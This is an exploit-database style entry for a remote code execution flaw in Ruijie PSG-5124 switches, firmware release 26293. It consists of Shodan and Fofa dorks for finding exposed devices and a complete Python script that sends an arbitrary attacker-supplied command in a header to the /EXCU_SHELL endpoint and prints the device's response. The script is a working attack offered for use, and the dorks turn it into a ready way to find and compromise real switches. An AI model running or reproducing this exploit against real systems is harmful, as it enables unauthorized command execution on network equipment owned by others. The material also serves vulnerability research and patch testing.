Ruijie Switch PSG-5124 26293 – Remote Code Execution (RCE)
#- Exploit Title: Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE) #- Shodan Dork: http.html_hash:-1402735717 #- Fofa Dork: body="img/free_login_ge.gif" && body="./img/login_bg.gif" #- Exploit Author: ByteHunter #- Email: 0xByteHunter@proton.me #- Version: PSG-5124(LINK SOFTWARE RELEASE:26293) #- Tested on: PSG-5124(LINK SOFTWARE RELEASE:26293) import http.client import argparse def send_request(ip, port, command): headers = { "Host": f"{ip}:{port}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Cmdnum": "1", "Confirm1": "n", "Content-Length": "0", "Command1": command } try: connection = http.client.HTTPConnection(f"{ip}:{port}") connection.request("GET", "/EXCU_SHELL", headers=headers) response = connection.getresponse() print(f"Status Code: {response.status}") print(response.read().decode('utf-8')) connection.close() except Exception as e: print(f"Request failed: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='proof of concept for ruijie Switches RCE') parser.add_argument('--ip', help='Target IP address', required=True) parser.add_argument('--port', help='Port', required=True) parser.add_argument('--cmd', help='Command', required=True) args = parser.parse_args() ip = args.ip port = args.port command = args.cmd send_request(ip, port, command) |